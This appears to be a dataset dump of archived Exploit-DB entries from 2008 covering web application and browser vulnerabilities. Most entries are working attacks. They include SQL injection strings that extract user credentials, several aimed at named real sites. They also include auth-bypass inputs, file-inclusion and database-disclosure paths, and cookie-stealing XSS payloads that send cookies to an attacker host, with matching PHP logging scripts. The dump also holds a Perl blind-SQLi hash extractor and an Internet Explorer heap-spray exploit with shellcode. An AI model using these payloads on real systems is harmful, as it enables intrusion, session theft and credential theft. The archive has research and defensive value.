QLWD/code_shield huggingface dataset:
标题: The Rat CMS Alpha 2 - Authentication Bypass EDB-ID: 7478 CVE: 2008-7003 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: ---------------------------------
The Rat Cms Auth By Pass
---------------------------------
Autore: x0r
Email: andry2000@hotmail.it
--------------------------------
Bug In: \login.php

 $sql = "SELECT user_id 
         FROM tbl_auth_user
   WHERE user_id = '$userId' AND user_password = PASSWORD('$password')";
   
$result = mysql_query($sql) or die('Query failed. ' . mysql_error()); 

Exploit: ' or '1=1

^^ Got Root?

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7478
标题: Click&Rank - SQL Injection / Cross-Site Scripting EDB-ID: 7486 CVE: 2008-5889 2008-5888 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Click&Rank
#download : null
#Demo     :  http://www.icash.ch/index.html?ClickAndRank/default.asp

###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.icash.ch/index.html?ClickAndRank/hitcounter.asp?id=(SQL)
http://www.icash.ch/index.html?ClickAndRank/user_delete.asp?id=(SQL)
http://www.icash.ch/index.html?ClickAndRank/user_update.asp?id=(SQL)

##########################################################################

--=[AUTH BYPASS]=--

http://www.icash.ch/index.html?ClickAndRank/admin.asp

USERNAME  : ' or '1'='1
PASSWORD : ' or '1'='1


##########################################################################

--=[Cross Site Scripting]=--

http://www.icash.ch/index.html?ClickAndRank/user.asp?action=%22%3E%3Cscript%3Ealert(1);%3C/script%3E



#Greetz For My Best Friend ZIGMA

###########################################################################

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7486
标题: Aperto Blog 0.1.1 - Local File Inclusion / SQL Injection EDB-ID: 7482 CVE: 2008-5776 2008-5775 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: ===========================================================================================================
 
 
  [o] Aperto Blog 0.1.1 Local File Inclusion and SQL Injection Vulnerabilities
 
       Software : Aperto Blog version 0.1.1
       Vendor   : http://code.google.com/p/apertoblog/
       Download : http://code.google.com/p/apertoblog/downloads/list
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com
 
 
===========================================================================================================
 
 
  [o] Vulnerable file
 
       admin.php
 
        if(isset($_GET['action'])) {
        if($_GET['action']=="logout") {
        session_destroy();
        go('index.php');
        } else {
        if(file_exists($_GET['action'].".php")) {
        include($_GET['action'].".php");
        } else {
        echo "404";
 
       index.php
 
        if(!$_GET['get']) {
        $articles = mysql_query("SELECT * FROM articles ORDER BY id DESC LIMIT 10");
        while($row = mysql_fetch_array($articles)) {
        showarticle($row, $settings[5]);
        }
        } elseif(file_exists($_GET['get'].".php")) {
        include($_GET['get'].".php");
        } else {
        echo "404";
 
       categories.php
 
        if(isset($_GET['id'])) {
        $cid = $_GET['id'];
        //Load category info
        $getcat = mysql_query("SELECT * FROM categories WHERE id='$cid'");
 
 
 
  [o] Exploit
 
       [ Local File Inclusion ]
 
     http://localhost/[path]/admin.php?action=[LFI]
     http://localhost/[path]/index.php?get=[LFI]
 
       [ SQL Injection ]
 
     http://localhost/[path]/categories.php?id=[SQL]
 
 
===========================================================================================================
 
 
  [o] Greetz
 
       MainHack BrotherHood [ http://mainhack.com/ ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
 
       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]
 
         
===========================================================================================================

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7482
标题: CFAGCMS 1 - SQL Injection EDB-ID: 7483 CVE: 2008-5781 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: cfagcms Beta 1 sql inj.
 
download: http://mesh.dl.sourceforge.net/sourceforge/cfagcms/cfagcms.zip
 
Discovered By: ZoRLu
 
z0rlu.blogspot.com
 
trt-turk@hotmail.com    
 
date: 23.10.2008
 
N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
------------------------------------------------------------------
 
exploit:
 
http://localhost/cfagcms/right.php?title=[SQL]
 
[SQL]=
 
ZoRLu'+union+select+0,concat(user(),0x3a,database(),0x3a,version()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
 
------------------------------------------------------------------
 
thanks: str0ke
 
a.q kpss

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7483
标题: XOOPS Module Amevents - SQL Injection EDB-ID: 7479 CVE: 2008-5768 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: ##########################################
#
# XOOPS Module:  Amevents
#
#
##########################################
#
##AUTHOR : netRoot
####HOME : http://www.passw0rd.info
#
####MAÄ°L : msn@passw0rd.info
#
###########################################
#
# DORKS : dork: /modules/amevents/print.php?id=
###########################################
 
target: scriptpage.com/modules/amevents/print.php?id=[sql Code]
 
Sql code: -98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*
 
live link: http://xxx.com/modules/amevents/print.php?id=-98/**/union/**/select/**/1,2,3,4,uname,pass,7,8,9,10,11,12,13,14,15,16/**/from/**/xoops_users/*

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7479
标题: BabbleBoard 1.1.6 - Cross-Site Request Forgery/Cookie Grabber EDB-ID: 7475 CVE: 2008-6906 2008-6905 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: ############################################################################################
[+] BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF
[+] Discovered By SirGod
[+] Greetz : All my friends
############################################################################################

[+] Cookie Grabber Exploit

  - Steal the cookie of any visitor.

1.Register as :

<script>document.location
="http://[yourdomain]/[path]/stealer.php?cookie=" +
document.cookie;</script>

Everyone who visit the index page will be redirected on your cookie
grabber. (because you will be the Latest Member)

Be sure that you use " and not ' because is forbbiden to use that char
is your username.

2 . In stealer.php use the following code (simple cookie grabber)

<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

Make sure that you have in the stealer.php directory a file log.txt .
For stealed cookies check log.txt .

3 . You will grab every visitor cookie .

Example (cookie) of a not logged in user :

PHPSESSID=gtolfce6jppb4oasfm81efrqf6

Example (cookie) of a logged in user (admin) :

bb_name=admin; bb_password=d73ed8a01f624fcb878296bc7ff302bc;
PHPSESSID=gtolfce6jppb4oasfm81efrqf6

Username is bb_name.Password is bb_password and is hashed as md5.

[+] Cross Site Request Forgery

If a logged in user with administrative permissions click one of the
following links the specified action will be executed.

- Delete category

http://127.0.0.1/[path]index.php?page=admin&act=categories&func=delete&id=[CatID]

http://127.0.0.1/[path]index.php?page=admin&act=categories&func=delete&id=5

- Delete group

http://127.0.0.1/[path]index.php?page=admin&act=groups&func=delete&id=[GroupID]

http://127.0.0.1/[path]index.php?page=admin&act=groups&func=delete&id=2

- Ban User

http://127.0.0.1/[path]index.php?page=admin&act=members&func=ban&id=[UserID]

http://127.0.0.1/[path]index.php?page=admin&act=members&func=ban&id=4

- Delete User

http://127.0.0.1/[path]index.php?page=admin&act=members&func=delete&id=[UserID]

http://127.0.0.1/[path]index.php?page=admin&act=members&func=delete&id=4

############################################################################################

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7475
标题: FLDS 1.2a - 'lpro.php' SQL Injection EDB-ID: 7474 CVE: 2008-5779 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: #Free Links Directory Script (id) SQL Injection Vulnerability


#Author: nuclear


#site:
http://flds-script.com


#vuln:
http://localhost/[path]/lpro.php?id=-1 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 from users


#demo:
http://flds-script.com/demo/lpro.php?id=-1%20UNION%20SELECT%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11%20from%20users

#notes:
Script is full of bugs like this, too bored to catch em all !


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7474
标题: WorkSimple 1.2.1 - Remote File Inclusion / Sensitive Data Disclosure EDB-ID: 7481 CVE: 2008-5765 2008-5764 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: [START]

#########################################################################################
[0x01] Informations:

Script         : WorkSimple 1.2.1
Download       : http://www.hotscripts.com/jump.php?listing_id=85112&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay


#########################################################################################
[0x02] Bug:[Remote File Inclusion]
######

Bugged file is: /[path]/calendar.php

[CODE]
<?PHP require 'data/conf.php'; //Include the global config ?>
 <?php include("$lang") ?>
[/CODE]

$lang variable is not declared, I thought it was declared on conf.php, but it's not.
So we can set the $lang value directly from GET.

FIX : Just declare $lang, for example in /[path]/data/conf.php


[!] EXPLOIT: /[path]/calendar.php?lang=[remote_txt_shell]

########################################################################################
[0x03] Bug:[Sensitive Data Disclosure]
######

In this cms, when an user register himself, the cms puts informations like username and
password on a .txt file. So, just going on it, we can get sensitive data like username
and passoword. username:md5_hash


[!] EXPLOIT: /[path]/data/usr.txt

#########################################################################################

[/END]

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7481
标题: clickandemail - SQL Injection / Cross-Site Scripting EDB-ID: 7485 CVE: 2008-5893 2008-5892 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : ClickAndEmaiL
#download : null
#Demo     :  http://icash.ch/ClickAndEmailDEMO

###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=Subscribers&redir=admin_subscribers.asp&ID=0+union+select+1,2,3,4,5,6,7+from+admin


##########################################################################

--=[AUTH BYPASS]=--

http://icash.ch/ClickAndEmailDEMO/admin_main.asp

USERNAME  : ' or '1'='1
PASSWORD : ' or '1'='1


##########################################################################

--=[Cross Site Scripting]=--

http://icash.ch/ClickAndEmailDEMO/admin_dblayers.asp?action=update&tablename=%22%3E%3Cscript%3Ealert(1);%3C/script%3E



#Greetz For My Best Friend ZIGMA

###########################################################################

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7485
标题: CodeAvalanche RateMySite - Database Disclosure EDB-ID: 7472 CVE: 2008-5896 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: CARateMySite
Download : http://www.truecontent.info/codeavalanche/asp-rating-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/_private/CARateMySite.mdb
 
---------------------------------

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7472
标题: Mediatheka 4.2 - Blind SQL Injection EDB-ID: 7476 CVE: 2008-5895 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-15 漏洞利用脚本: #!/usr/bin/perl -w
# Mediatheka <= 4.2 Remote Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it

use strict;
use LWP::UserAgent;

my ($stop,$start,$hash);

my $domain = shift;
my $userid = shift or &usage;

my @chars = (48..57, 97..102); 
my $substr = 1; 
my $http = new LWP::UserAgent;


&usage unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
     my $post = undef;
     my $host = $domain;
     my $param = shift @_ or die $!;
  
     $host .= "/connection.php?guest=false";
     $post = $http->post($host,[
                                 user      => $param,
                                 password  => 'anything'
                               ]);
 
}


sub give_char
{
     my $send = undef;
     my ($charz,$uidz) = @_;
  
     $send = "' or (select if((ascii(substring".
             "(password,$uidz,1))=$charz),".
             "benchmark(200000000,char(0)),".
            "0) from users where id=$userid)#";

     return $send;
}


for(1..32) 
{
     foreach my $set(@chars)
     {
          my $start = time();
    
          send_request(give_char($set,$substr));
    
          my $stop = time();
  
         if($stop - $start > 6)
         { 
              syswrite(STDOUT,chr($set));
              $hash .= chr($set);
              $substr++; 
              last;
        }
    }
}

sub usage
{
     print "[?] Mediatheka <= 4.2 Remote Blind SQL Injection Exploit\n";
     print "[?] by athos - staker[at]hotmail[dot]it\n";
     print "[?] Usage: perl $0 http://[host/path] [id]\n";
     exit;
}

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7476
标题: Microsoft Internet Explorer - XML Parsing Buffer Overflow (1) EDB-ID: 7477 CVE: 2010-1175 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-15 漏洞利用脚本: <!--

IE XML Heap Corruption exploit

by krafty

greets to hdm, ddz, SK, muts, halvar, grugq, and all the ethnical hackers

sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.

Bring back the days of technotronic and r00tshell! Freedom.

poc: launches calculator.
Tested with IE7 XP SP2, SP3, Vista.

-->

<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");

do {
   spray += spray;
} while(spray.length < 0xd0000);

memory = new Array();

for(i = 0; i < 100; i++)
   memory[i] = spray + shellcode;

xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

tag = document.getElementById("replace");
tag.innerHTML = xmlcode;

</script>
</html>

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7477
标题: CodeAvalanche FreeWallpaper - Remote Database Disclosure EDB-ID: 7470 CVE: 2008-5897 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: CAFreeWallpaper
Download : http://www.truecontent.info/codeavalanche/asp-freewallpaper-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAFreeWallpaper/_private/CAFreeWallpaper.mdb
 
---------------------------------

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7470
标题: CodeAvalanche Articles - Database Disclosure EDB-ID: 7471 CVE: 2008-5900 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: CAArticles
Download : http://www.truecontent.info/codeavalanche/asp-articles-publishing-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAArticles/_private/CAArticles.mdb
 
---------------------------------

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7471
标题: ASPSiteWare RealtyListing 1.0/2.0 - SQL Injection EDB-ID: 7464 CVE: 2008-5772 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-14 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : RealtyListing V1/V2
#download : null
#Demo     : http://www.aspsiteware.com/Realty1
     http://www.aspsiteware.com/realty2/realty2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.aspsiteware.com/Realty1/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
http://www.aspsiteware.com/Realty1/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
http://www.aspsiteware.com/realty2/realty2/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
http://www.aspsiteware.com/realty2/realty2/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users


###########################################################################

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7464
标题: CodeAvalanche FreeForAll - Database Disclosure EDB-ID: 7469 CVE: 2008-5899 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: CAFFAPAGE
Download : http://www.truecontent.info/codeavalanche/asp-free-for-all-links.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAFFAPage/_private/CAFFAPage.mdb
 
---------------------------------

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7469
标题: Forest Blog 1.3.2 - Remote Database Disclosure EDB-ID: 7466 CVE: 2008-5780 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: < > =============
< >
< >  Forest Blog v1.3.2 (blog.mdb) Remote Database Disclosure Vulnerability
< >
< >  auther : Cold z3ro, www.hackteach.org
< >
< >  http://site.com/[Path]/blog.mdb
< >
< >  Dork : Powered By: Forest Blog v1.3.2
< >
< > =============

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7466
标题: Flatnux - html/JavaScript Injection Cookie Grabber EDB-ID: 7461 CVE: 2008-5761 2008-5759 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: <!--
exploit flatnux grabber cookies visitor
site :http://www.speleoalex.altervista.org/flatnuke3/index.php
download:http://www.speleoalex.altervista.org/flatnuke3/index.php?mod=06_Download
author:gmda

Flatnux does not filter code html/javascript then you can injector in this way:

operation
1] register
2] make longin
3] use the HTML code below
-->
<html><head>
</head>
<body>
<form enctype="multipart/form-data" action="http://victim.org/flatnux/index.php?mod=08_Files&amp;opmod=insertrecord" method="POST">
titolo*<input  size ="20"  style="visibility:hidden;" value="filex &lt;iframe  width=&quot;0&quot; height=&quot;0&quot; style=&quot;visibility:hidden;&quot; src=&quot;javascript:window.location=&apos;http://attacker.org/grab.php?cmd=&apos;+document.cookie;&quot;&gt;&lt;/iframe&gt;" name="name" type="text" /><br />
<textarea title="Inserisci qui la descrizione" cols="80"  rows="10"  name="description" style="visibility:hidden;" >&lt;/textarea&gt;<br />
Immagine<input  size="20" name="foto1" type="file" style="visibility:hidden;" /><br />
File<input  size="20" name="file" type="file" style="visibility:hidden;" /><br />
<input type="submit" value="Zic">
</form>
</body></html>
<!-- grab.php
<?php $data = $_GET['cmd'];
$date=date("j F, Y, g:i a");
$referer=$_SERVER['HTTP_REFERER'];
$fh = fopen("cookie.txt",'a+');
fwrite($fh, $referer . " / " . $data."\n".$date."\n");
fclose($fh);
?>
-->

<!-- xss variables mod foto

/sections/05_Foto/photo.php?mod=05_Foto&foto=>"><script>alert(69)%3B</script>&lang=it
/?mod=%3E%22%3E%3Cscript%3Ealert(69)%3B%3C/script%3E

-->

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7461
标题: isweb CMS 3.0 - SQL Injection / Cross-Site Scripting EDB-ID: 7465 CVE: 2008-5934 2008-5933 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: [â– ]  IsWeb CMS v 3.0 ($qL/XsS) Multiple vulnerabilities
 
>---------------------------------------<

> AuToR: XaDoS (SecurityCode Team)
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.cmsisweb.it

>---------------------------------------<
 
 
[â– ] BlinD $qL:
 
|: http://www.example.com/index.php?id_sezione=[$qL] 

> DeM0:
 
|: http://www.comune.avezzano.aq.it/index.php?id_sezione=297%20and%20substring(@@version,1,1)=4 [No]
 
|: http://www.comune.avezzano.aq.it/index.php?id_sezione=297%20and%20substring(@@version,1,1)=5 [Ye$]
 
 
[â– ] XSS: 
 
|: http://www.comune.avezzano.aq.it/index.php?azione=cerca  
  In this modul (search) write:
 
  "><script>alert(document.cookie)</script> 
 
or another vuln Page:
 
|: http://www.comune.avezzano.aq.it/index.php?id_doc=19&id_oggetto=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20XaDoS%3Ch1%3E%3C/marquee%3E
 
[â– ] Th4nKs::
 
\>Str0ke</ - \>Fuck you 007 hacker</ - \>Securitycode team</ - \>All italian hackers</

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7465